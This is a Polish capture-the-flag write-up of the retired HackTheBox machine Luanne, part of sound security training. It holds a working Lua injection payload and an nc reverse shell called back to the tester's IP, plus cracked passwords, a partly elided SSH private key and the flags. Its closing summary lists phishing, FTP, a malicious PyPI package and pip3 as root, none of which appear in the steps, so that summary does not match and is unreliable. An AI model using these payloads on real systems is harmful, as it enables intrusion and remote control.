Writeup: Maszyna HackTheBox Luanne
Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Luanne - spełnia ten warunek.1. TLDR
2. Przygotowanie
Przygotowałem przydatne zmienne:
export IP=10.10.10.218
3. Skanowanie i rozpoznanie
Na początku uruchomiłem skanowanie narzędziem nmap w celu ujawnienia i identyfikacji usług, które zostały uruchomione na 1000 najbardziej popularnych portach.
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nmap -sC -sV -Pn -n -oN nmap/01-initial.txt -T4 $IP
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-20 23:44 CET
Nmap scan report for 10.10.10.218
Host is up (0.040s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 199.99 seconds
Dostęp do obu usług był chroniony zgodnie z The 'Basic' HTTP Authentication Scheme
RFC7617. Na porcie 80 mimo wszystko był dostępny zasób /weather
. Uruchomiłem zatem narzędzie gobuster:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $gobuster dir -u http://$IP/weather -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | tee gobuster/01-initial.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.218/weather
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/21 00:11:13 Starting gobuster
===============================================================
/forecast (Status: 200)
===============================================================
2020/12/21 00:27:04 Finished
===============================================================
Wysłałem zatem zapytanie pod \weather\forecast
:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
a następnie - zgodnie z otrzymaną odpowiedzią - przesłałem żądnie o listę miejscowości:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=list
{"code": 200,"cities": ["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}
Ostatecznie przesłałem zapytanie o informacje pogodowe dotyczące Londynu:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London
{"code": 200,"city": "London","list": [{"date": "2020-12-20","weather": {"description": "snowy","temperature": {"min": "12","max": "46"},"pressure": "1799","humidity": "92","wind": {"speed": "2.1975513692014","degree": "102.76822959445"}}},{"date": "2020-12-21","weather": {"description": "partially cloudy","temperature": {"min": "15","max": "43"},"pressure": "1365","humidity": "51","wind": {"speed": "4.9522297247313","degree": "262.63571172766"}}},{"date": "2020-12-22","weather": {"description": "sunny","temperature": {"min": "19","max": "30"},"pressure": "1243","humidity": "13","wind": {"speed": "1.8041767538525","degree": "48.400944394059"}}},{"date": "2020-12-23","weather": {"description": "sunny","temperature": {"min": "30","max": "34"},"pressure": "1513","humidity": "84","wind": {"speed": "2.6126398323104","degree": "191.63755226741"}}},{"date": "2020-12-24","weather": {"description": "partially cloudy","temperature": {"min": "30","max": "36"},"pressure": "1772","humidity": "53","wind": {"speed": "2.7699138359167","degree": "104.89152945159"}}}]}
4. Uzyskanie dostępu
Nie wiedziałem czy mogę kontrolować inny parametru oprócz parametru city. Postanowiłem zatem fuzzować ten parametr w nadziei na jakiekolwiek informacje diagnostyczne w przypadku wystąpienia błędu:
Jedna z pierwszych prób z wykorzystaniem wfuzz…
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 http://10.10.10.218/weather/forecast?city=London%FUZZ
…zwróciła wiele rezultatów, które minimalnie różniły się liczbą słów.
Postanowiłem ten przypadek dalej przeanalizować. Najwięcej odpowiedzi pojawiło się o długości 12 i 5 słów:
- 12 słów:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%0
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
- 5 słów:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%10
{"code": 500,"error": "unknown city: London"}
Odfiltrowałem je zatem z wyników:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $wfuzz -z range,0-255 --hw 5,12 http://10.10.10.218/weather/forecast?city=London%FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.218/weather/forecast?city=London%FUZZ
Total requests: 256
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000028: 500 1 L 9 W 77 Ch "27"
000000021: 500 0 L 6 W 46 Ch "20"
000000201: 500 0 L 6 W 47 Ch "200"
000000203: 500 0 L 6 W 47 Ch "202"
000000202: 500 0 L 6 W 47 Ch "201"
000000204: 500 0 L 6 W 47 Ch "203"
000000206: 500 0 L 6 W 47 Ch "205"
000000210: 500 0 L 6 W 47 Ch "209"
000000208: 500 0 L 6 W 47 Ch "207"
000000209: 500 0 L 6 W 47 Ch "208"
000000205: 500 0 L 6 W 47 Ch "204"
000000207: 500 0 L 6 W 47 Ch "206"
Total time: 0
Processed Requests: 256
Filtered Requests: 244
Requests/sec.: 0
Rezultat zawierający 6 słów to:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%20
{"code": 500,"error": "unknown city: London "}
Natomiast poszukiwanej odpowiedzi udzieliło żądanie:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value
W następnej kolejności, używając funkcjonalności URLEncode w CyberChef zakodowałem fragment wartość parametru city:
London')os.execute("id")--
i przesłałem żądanie:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D
{"code": 500,"error": "unknown city: Londonuid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
Otrzymałem zatem dowód na możliwość zdalnego wykonania kodu.
Przesłałem od razu żądanie wykonania polecenia uname -a
w celu identyfikacji systemu operacyjnego:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22uname%20%2Da%22%29%2D%2D
{"code": 500,"error": "unknown city: LondonNetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020 mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64
Z odpowiedzi wiadomo było, że:
- stacja pogodowa była kontrolowana przez 64-bitowy system operacyjny NetBSD
- nazwa hosta to luanne.htb
Dodałem zatem wpis do /etc/hosts
:
10.10.10.218 luanne.htb
W celu nawiązania sesji z powłoką systemową uruchomiłem nc:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
oraz zakodowałem wartość parametru city:
London')os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.187 4444 >/tmp/f")--
i przesłałem żądanie:
┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $curl http://10.10.10.218/weather/forecast?city=London%27%29os%2Eexecute%28%22rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20%2Di%202%3E%261%7Cnc%2010%2E10%2E14%2E187%204444%20%3E%2Ftmp%2Ff%22%29%2D%2D
Na skutek opisanych czynności nawiązałem sesję jako użytkownik _httpd
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.187] from (UNKNOWN) [10.10.10.218] 65164
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
5. Eskalacja uprawnień: _httpd ⇨ r.michaels
W celu udostępnienia narzędzia linpeas, uruchomiłem serwer http:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Następnie pobrałem i uruchomiłem wspomniane narzędzie:
$ cd /tmp
$ curl http://10.10.14.187:8000/linpeas.sh>linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 220k 100 220k 0 0 550k 0 --:--:-- --:--:-- --:--:-- 550k
$ /bin/sh linpeas.sh
Na standardowym wyjściu zaobserwowałem interesujący wpis zawierający skrót MD5:
Reading /var/www/.htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
Przystąpiłem do próby odzyskania hasła:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0'>md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable
Po kilkunastu hasło zostało złamane:
$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0:iamthebest
Dysponowałem zatem zestawem danych uwierzytelniających webapi_user:iamthebest
.
Spróbowałem uwierzytelnić się w usługach http na porcie 80 i 9001. Na porcie 80 uzyskałem dostęp do zawartości strony:
Przyznam, że w tym momencie na chwilę utknąłem. Nie wiedziałem czy była jeszcze jakaś usługa? Czy linpeas na NetBSD nie pominął czegoś istotnego? Czego nie zauważyłem?
Przeglądając podręcznik użytkownika NetBSD znalazłem m.in. informację o tym, że podstawowa konfiguracja systemu jest przechowywana w pliku /etc/rc.conf
:
$ cat /etc/rc.conf
# $NetBSD: rc.conf,v 1.97 2014/07/14 12:29:48 mbalmer Exp $
# ...
if [ -r /etc/defaults/rc.conf ]; then
. /etc/defaults/rc.conf
fi
# If this is not set to YES, the system will drop into single-user mode.
#
rc_configured=YES
# Add local overrides below.
#
hostname=luanne.htb
dhcpcd=NO
#dhcpcd_flags="-qM wm0"
resolvconf=NO
postfix=NO
inetd=NO
sshd=YES
wscons=YES
supervisord=YES
nginx=YES
httpd=YES
httpd_flags="-u -X -s -i 127.0.0.1 -I 3000 -L weather /usr/local/webapi/weather.lua"
httpd_devel=YES
httpd_devel_wwwuser="r.michaels"
httpd_devel_wwwdir="/home/r.michaels/devel/www"
httpd_devel_flags="-u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua"
#httpd_devel_flags="-u -X -s -I 3000 -L weather /home/r.michaels/devel/webapi/weather.lua"
vmtools=YES
Zatem istniała instancja produkcyjna i deweloperska serwera http świadczącego informacje o pogodzie. Pierwszy uruchomiony lokalnie na porcie 3001, drugi - deweloperski - na porcie 3001. Z konfiguracji wynikało również, że deweloperski serwer działał na prawach użytkownika r.michaels
.
Spróbowałem więc wykorzystać ponownie ten sam błąd:
$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/weather/forecast?city=London%27%29os%2Eexecute%28%22id%22%29%2D%2D
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 65 0 65 0 0 32500 0 --:--:-- --:--:-- --:--:-- 32500
{"code": 500,"error": "unknown city: London')os.execute("id")--"}
Niestety, w tym wypadku nie było błędu występującego w wersji produkcyjnej.
Postanowiłem zatem sprawdzić dostępność katalogu użytkownika serwera http:
$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 601 0 601 0 0 293k 0 --:--:-- --:--:-- --:--:-- 293k
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
Dostępny był plik id_rsa…
$ curl -u webapi_user:iamthebest http://127.0.0.1:3001/~r.michaels/id_rsa
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2610 100 2610 0 0 1274k 0 --:--:-- --:--:-- --:--:-- 1274k
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvXxJBbm4VKcT2HABKV2Kzh9GcatzEJRyvv4AAalt349ncfDkMfFB
...
45bBkP5xOhrjMAAAAVci5taWNoYWVsc0BsdWFubmUuaHRiAQIDBAUG
-----END OPENSSH PRIVATE KEY-----
… który zawierał klucz prywatny SSH. Zapisałem zawartość do pliku i połączyłem się po ssh:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $chmod 400 r.michaels_id_rsa
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $ssh r.michaels@luanne.htb -i ./r.michaels_id_rsa
Last login: Mon Dec 21 23:59:47 2020 from 10.10.14.58
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
luanne$
Pozostało odczytać flagę użytkownika:
luanne$ ls -lah
total 7.6K
dr-xr-x--- 7 r.michaels users 512B Sep 16 18:20 .
drwxr-xr-x 3 root wheel 512B Sep 14 06:46 ..
-rw-r--r-- 1 r.michaels users 1.7K Feb 14 2020 .cshrc
drwx------ 2 r.michaels users 512B Sep 14 17:16 .gnupg
-rw-r--r-- 1 r.michaels users 431B Feb 14 2020 .login
-rw-r--r-- 1 r.michaels users 265B Feb 14 2020 .logout
-rw-r--r-- 1 r.michaels users 1.5K Feb 14 2020 .profile
-rw-r--r-- 1 r.michaels users 166B Feb 14 2020 .shrc
dr-x------ 2 r.michaels users 512B Sep 16 16:51 .ssh
dr-xr-xr-x 2 r.michaels users 512B Nov 24 09:26 backups
dr-xr-x--- 4 r.michaels users 512B Sep 16 15:02 devel
dr-x------ 2 r.michaels users 512B Sep 16 16:52 public_html
-r-------- 1 r.michaels users 33B Sep 16 17:16 user.txt
luanne$ cat user.txt
ea5f0ce6a917b0be1eabc7f9218febc0
6. Eskalacja uprawnień: r.michaels ⇨ root
W katalogu ~/backups
znajdował się zaszyfrowany plik devel_backup-2020-09-16.tar.gz.enc
luanne$ pwd
/home/r.michaels/backups
luanne$ ls
devel_backup-2020-09-16.tar.gz.enc
W celu odszyfrowania pliku chciałem uruchomić program gpg2
, ale nie był dostępny:
luanne$ gpg2
ksh: gpg2: not found
Przeszukałem zatem system plików w poszukiwaniu podobnego programu:
luanne$ ls -Ralh / 2>/dev/null | grep 'gpg\|pgp'
W wynikach wyszukiwania znalazłem między innymi informację o programie netpgp:
-r-xr-xr-x 1 root wheel 25K Feb 14 2020 netpgp
W podręczniku do NetBSD można przeczytać stronę poświęconą netpgp:
The netpgp command can digitally sign files and verify that the signa-
tures attached to files were signed by a given user identifier. netpgp
can also encrypt files using the public or private keys of users and, in
the same manner, decrypt files which were encrypted.
Zatem odszyfrowałem plik:
luanne$ netpgp --decrypt /home/r.michaels/backups/devel_backup-2020-09-16.tar.gz.enc --output ./devel_backup-2020-09-16.tar.gz
signature 2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a
uid RSA 2048-bit key <r.michaels@localhost>
Następnie pobrałem go ze stacji i rozpakowałem:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $scp -i ./r.michaels_id_rsa r.michaels@luanne.htb:/tmp/devel_backup-2020-09-16.tar.gz ./
devel_backup-2020-09-16.tar.gz 100% 1639 39.4KB/s 00:00
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $unar devel_backup-2020-09-16.tar.gz
devel_backup-2020-09-16.tar.gz: Tar in Gzip
devel-2020-09-16/ (dir)... OK.
devel-2020-09-16/www/ (dir)... OK.
devel-2020-09-16/webapi/ (dir)... OK.
devel-2020-09-16/webapi/weather.lua (7072 B)... OK.
devel-2020-09-16/www/index.html (378 B)... OK.
devel-2020-09-16/www/.htpasswd (47 B)... OK.
Successfully extracted to "devel-2020-09-16".
W rozpakowanym archiwum znalazłem ponowanie skrót md5 hasła:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne/devel-2020-09-16/www]
└──╼ $cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
Uruchomiłem więc ponownie hashcata:
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $echo '$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' >> md5_hash
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Other/Luanne]
└──╼ $hashcat -a 0 -m 500 md5_hash /usr/share/wordlists/rockyou.txt --optimized-kernel-enable
Po kilku sekundach na standardowym wyjściu pojawił się rezultat:
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
Spróbowałem zalogować się jako root:
luanne$ doas -u root /bin/ksh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)
Pozostało odczytać flagę:
# cat /root/root.txt
7a9b5c206e8e8ba09bb99bd113675f66
7. Podsumowanie
Do zdobycia flag doprowadziły poniższe okoliczności:
- Pozyskanie danych uwierzytelniających poprzez phishing
- Pozyskanie dostępu do skrzynki pocztowej pracownika
- Hasło przechowywane w treści wiadomości email znajdujących się na skrzynce pocztowej
- Pozyskanie dostępu do serwera FTP z kodem publicznie dostępnej strony internetowej w wersji deweloperskiej
- Możliwość instalacji złośliwiego pakietu w repozytorium Python Package Index
- Użytkownik low mógł uruchomić pip3 jako root